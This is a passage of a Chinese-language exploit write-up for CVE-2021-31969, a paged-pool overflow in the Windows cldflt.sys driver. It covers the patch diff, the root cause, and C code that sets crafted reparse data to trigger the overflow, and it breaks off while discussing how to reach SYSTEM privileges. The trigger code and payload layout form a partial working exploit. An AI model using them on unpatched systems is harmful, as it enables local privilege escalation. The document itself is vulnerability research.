利用限制性块大小的内核池溢出漏洞(CVE-2021-31969)实现权限提升
引言
内存损坏漏洞的普遍存在仍然对利用构成了持续挑战。这种增加的难度源于防御机制的进步和软件系统日益复杂化。虽然基本的概念验证通常足以修补漏洞,但开发能够绕过现有对策的功能性利用程序,为了解高级威胁行为者的能力提供了宝贵见解。这尤其适用于受到严格审查的驱动程序cldflt.sys,该驱动程序自6月以来每个补丁星期二都持续收到补丁。值得注意的是,它已成为威胁行为者的关注焦点,紧随对clfs.sys和afd.sys驱动程序的利用之后。在本文中,我们旨在强调cldflt.sys的重要性,并倡导加强对该驱动程序及其相关组件的研究。
现在转向具体的漏洞,CVE-2021-31969最初由于其限制性而看起来难以利用。然而,通过操作分页池,可以将看似孤立的池溢出提升为完整的任意读/写场景。此利用授予提升的访问权限,允许获取SYSTEM权限的shell。
描述
Windows Cloud Files Mini Filter Driver权限提升漏洞
受影响版本
- Windows 10 1809-21H2
- Windows Server 2019
补丁差异
操作系统:Windows 10 1809
二进制文件:cldflt.sys
补丁前
版本:KB5003217
哈希:316016b70cd25ad43a0710016c85930616fe85ebd69350386f6b3d3060ec717e
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
v7 = *(_DWORD *)(a1 + 8);
someSize = HIWORD(v7);
if ( !_bittest((const int *)&v7, 0xFu) )
{
*a3 = a1;
return (unsigned int)v3;
}
allocatedSize = someSize + 8;
allocatedMem = ExAllocatePoolWithTag(PagedPool, someSize + 8, 'pRsH');
allocatedMemRef = allocatedMem;
if ( !allocatedMem )
{
LODWORD(v3) = -1073741670;
goto LABEL_3;
}
*(_QWORD *)allocatedMem = *(_QWORD *)a1;
*((_DWORD *)allocatedMem + 2) = *(_DWORD *)(a1 + 8);
v3 = (unsigned int)RtlDecompressBuffer(
COMPRESSION_FORMAT_LZNT1,
(PUCHAR)allocatedMem + 12,// uncompressed_buffer
allocatedSize - 12, // uncompressed_buffer_size
(PUCHAR)(a1 + 12),
a2 - 12,
(PULONG)va);
|
补丁后
版本:KB5003646
哈希:5cef11352c3497b881ac0731e6b2ae4aab6add1e3107df92b2da46b2a61089a9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
someSize = *(_WORD *)(a1 + 10);
if ( someSize >= 4u )
{
if ( (*(_DWORD *)(a1 + 8) & 0x8000) == 0 )
{
*a3 = a1;
return (unsigned int)status;
}
allocatedSize = someSize + 8;
allocatedMem = ExAllocatePoolWithTag(PagedPool, allocatedSize, 'pRsH');
allocatedMemRef = allocatedMem;
if ( !allocatedMem )
{
LODWORD(status) = 0xC000009A;
goto LABEL_3;
}
*(_QWORD *)allocatedMem = *(_QWORD *)a1;
*((_DWORD *)allocatedMem + 2) = *(_DWORD *)(a1 + 8);
status = (unsigned int)RtlDecompressBuffer(
COMPRESSION_FORMAT_LZNT1,
(PUCHAR)allocatedMem + 12,// uncompressed_buffer
allocatedSize - 12,// uncompressed_buffer_size
(PUCHAR)(a1 + 12),
a2 - 12,
(PULONG)va);
|
漏洞分析
引入的补丁包含一个验证机制,以确保变量someSize的最小值为4。
在应用此补丁之前,变量someSize没有4的下限,可能导致变量allocatedSize可能低于12的情况。因此,有时传递给RtlDecompressBuffer函数的UncompressedBufferSize参数取负值,触发无符号整数下溢,循环绕回0xFFFFFFF4。
根据LZNT1规范,压缩缓冲区中的第一个WORD是标头,包含元数据,例如缓冲区是否压缩及其大小。
压缩数据包含在单个块中。块标头解释为16位值,为0xB038。位15为1,因此块被压缩;位14至12是正确的签名值(3);位11至0为十进制56,因此块大小为59字节。
由于标头可由用户控制,可以将缓冲区标记为未压缩。
这导致RtlDecompressBuffer的行为类似于memcpy。
通过控制大小和数据,可以实现受控的分页池溢出。
结构
上面显示的变量a1是REPARSE_DATA_BUFFER类型。
1
2
3
4
5
6
7
8
|
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
struct {
UCHAR DataBuffer[1];
} GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
|
GenericReparseBuffer.DataBuffer包含由筛选器驱动程序设置的自定义数据。
1
2
3
4
5
6
|
struct cstmData
{
WORD flag;
WORD cstmDataSize;
UCHAR compressedBuffer[1];
};
|
第一个WORD是标志,后跟影响池分配的大小,最后是传递给RtlDecompressBuffer的压缩缓冲区。
此数据存储在目录的重分析标记内,并将在下面提到的各种条件下检索和解压缩。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
HsmpRpReadBuffer:
v9 = (unsigned int)FltFsControlFile(
Instance,
FileObject,
FSCTL_GET_REPARSE_POINT,
0i64,
0,
reparseData,
0x4000u,
0i64);
...
status = HsmpRpiDecompressBuffer(reparseData, reparseDataSize, someOut);
|
触发漏洞
在Windows 10 1809的新副本上,默认情况下微型筛选器不会附加到任何驱动器。
需要注册才能附加它。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
HRESULT RegisterAndConnectSyncRoot(LPCWSTR Path, CF_CONNECTION_KEY *Key)
{
HRESULT status = S_OK;
CF_SYNC_REGISTRATION reg = { sizeof(CF_SYNC_REGISTRATION) };
CF_SYNC_POLICIES pol = { sizeof(CF_SYNC_POLICIES) };
CF_CALLBACK_REGISTRATION table[1] = { CF_CALLBACK_REGISTRATION_END };
reg.ProviderName = L"HackProvider";
reg.ProviderVersion = L"99";
pol.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
pol.Population.Primary = CF_POPULATION_POLICY_FULL;
pol.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_CONVERT_TO_UNRESTRICTED;
if ((status = CfRegisterSyncRoot(Path, ®, &pol, 0)) == S_OK)
status = CfConnectSyncRoot(Path, table, 0, CF_CONNECT_FLAG_NONE, Key);
return status;
}
|
现在它将通过其注册的前/后操作处理程序响应文件系统操作。
通过分析处理程序并使用邻近视图进行跟踪,可以找到可能触发解压缩的路径:
将文件转换为占位符、获取(创建)文件句柄或重命名文件等操作可能导致解压缩。
例如,这是在syncroot目录中获取文件句柄时的调用堆栈:
1
2
3
4
5
6
7
8
|
4: kd> k
# Child-SP RetAddr Call Site
00 ffff8689`7915cf78 fffff807`5505722b cldflt!HsmpRpiDecompressBuffer
01 ffff8689`7915cf80 fffff807`5503e4b2 cldflt!HsmpRpReadBuffer+0x267
02 ffff8689`7915cff0 fffff807`5505fd29 cldflt!HsmpSetupContexts+0x27a
03 ffff8689`7915d120 fffff807`5505fea9 cldflt!HsmiFltPostECPCREATE+0x47d
04 ffff8689`7915d1c0 fffff807`52a3442e cldflt!HsmFltPostCREATE+0x9
05 ffff8689`7915d1f0 fffff807`52a33cf3 FLTMGR!FltpPerformPostCallbacks+0x32e
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
14: kd> dt _FILE_OBJECT @rdx
ntdll!_FILE_OBJECT
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffff8687`c43a8c00 _DEVICE_OBJECT
+0x010 Vpb : 0xffff8687`c43f69a0 _VPB
+0x018 FsContext : 0xffff9985`38f8e6f0 Void
+0x020 FsContext2 : 0xffff9985`36ff4a00 Void
+0x028 SectionObjectPointer : (null)
+0x030 PrivateCacheMap : (null)
+0x038 FinalStatus : 0n0
+0x040 RelatedFileObject : (null)
+0x048 LockOperation : 0 ''
+0x049 DeletePending : 0 ''
+0x04a ReadAccess : 0x1 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0x1 ''
+0x04e SharedWrite : 0x1 ''
+0x04f SharedDelete : 0x1 ''
+0x050 Flags : 0x40002
+0x058 FileName : _UNICODE_STRING "\Windows\Temp\hax\vuln"
+0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x070 Waiters : 0
+0x074 Busy : 1
+0x078 LastLock : (null)
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : (null)
+0x0b8 IrpListLock : 0
+0x0c0 IrpList : _LIST_ENTRY [ 0xffff8e85`b1dc0910 - 0xffff8e85`b1dc0910 ]
+0x0d0 FileObjectExtension : (null)
|
这意味着我们可以将任意重分析数据写入syncroot内创建的目录,并获取其句柄以触发池溢出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
CreateDirectoryW(OverwriteDir, NULL);
hOverwrite = CreateFileW(
OverwriteDir,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
status = DeviceIoControl(
hOverwrite,
FSCTL_SET_REPARSE_POINT_EX,
newReparseData,
newSize,
NULL,
0,
&returned,
NULL
);
CloseHandle(hOverWrite);
// Trigger Bug
hOverwrite = CreateFileW(
OverwriteDir,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
|
使用FSCTL_SET_REPARSE_POINT_EX是因为驱动程序注册了FSCTL_SET_REPARSE_POINT的前操作处理程序,该处理程序拒绝了我们的请求。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
if ( v2->Parameters.FileSystemControl.Buffered.InputBufferLength >= 4
&& (Context && (*(_DWORD *)(*((_QWORD *)Context + 2) + 0x1Ci64) & 1) != 0
|| (*(_DWORD *)v2->Parameters.FileSystemControl.Buffered.SystemBuffer & 0xFFFF0FFF) == dword_1E4F0) )
{
if ( Context )
{
v3 = *((_QWORD *)Context + 2);
v4 = *(_QWORD *)(*(_QWORD *)(v3 + 16) + 32i64);
}
HsmDbgBreakOnStatus(0xC000CF18);
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
{
WPP_SF_qqqd(
WPP_GLOBAL_Control->AttachedDevice,
17i64,
&WPP_7c63b6f3d9f33043309d9f605c648752_Traceguids,
Context,
v3,
v4,
0xC000CF18);
}
a1->IoStatus.Information = 0i64;
v7 = 4;
a1->IoStatus.Status = 0xC000CF18;
}
|
检查在于(*(_DWORD )(((_QWORD *)Context + 2) + 0x1Ci64) & 1) != 0。
上下文不受用户控制,因此此调用将始终失败。
如上所述,我们可以控制压缩缓冲区内容,使RtlDecompressBuffer的行为类似于memcpy。
1
2
3
4
5
|
// controlled size, controlled content overflow!
*(WORD *)&payload[0] = 0x8000; // pass flag check
*(WORD *)&payload[2] = 0x0; // size to trigger underflow
*(WORD *)&payload[4] = 0x30-1; // lznt1 header: uncompressed, 0x30 size
memset(&payload[6], 'B', 0x100);
|
此特定重分析缓冲区导致在分页池中分配0x20大小的块。
1
2
3
4
5
6
7
8
9
10
11
|
1: kd> !pool @rax
Pool page ffff9f0ab3547090 region is Paged pool
ffff9f0ab3547000 size: 60 previous size: 0 (Free) ....
ffff9f0ab3547060 size: 20 previous size: 0 (Allocated) Via2
*ffff9f0ab3547080 size: 20 previous size: 0 (Allocated) *HsRp
Owning component : Unknown (update pooltag.txt)
ffff9f0ab35470a0 size: 20 previous size: 0 (Allocated) Ntfo
ffff9f0ab35470c0 size: 20 previous size: 0 (Allocated) ObNm
ffff9f0ab35470e0 size: 20 previous size: 0 (Allocated) PsJb
ffff9f0ab3547100 size: 20 previous size: 0 (Allocated) VdPN
ffff9f0ab3547120 size: 20 previous size: 0 (Allocated) Via2
|
然而,精心制作的LZNT1标头将导致0x30个’B’被复制到从偏移量0xC开始的内存中,而池分配只能容纳0x10字节的用户数据,因此导致0x2C字节的溢出,损坏相邻块并最终导致BSOD。
1
2
3
4
5
6
7
8
9
10
11
12
|
4: kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x0000007e
(0xFFFFFFFFC0000005,0xFFFFF804044ED09A,0xFFFFDA8F76595748,0xFFFFDA8F76594F90)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
|
溢出的内容和大小完全在我们的控制之下,而分配的块固定为0x20字节。
限制
我们只有一次溢出的机会,因此我们希望有一个可以执行读写操作的对象。
在现代Windows上,如果低碎片堆(LFH)处于活动状态,则小于0x200字节的池分配由其管理。对于像0x20这样的常见大小,其LFH存储桶在利用开始时无疑已被激活。在LFH的控制下,易受攻击的块将仅定位在同一存储桶中的其他0x20大小块旁边,这防止了通过溢出到相邻的强大对象(如WNF)来改进原语的简单方法。此外,找到一个0x20大小的对象来实现任意读写是困难的,因为0x20大小的分配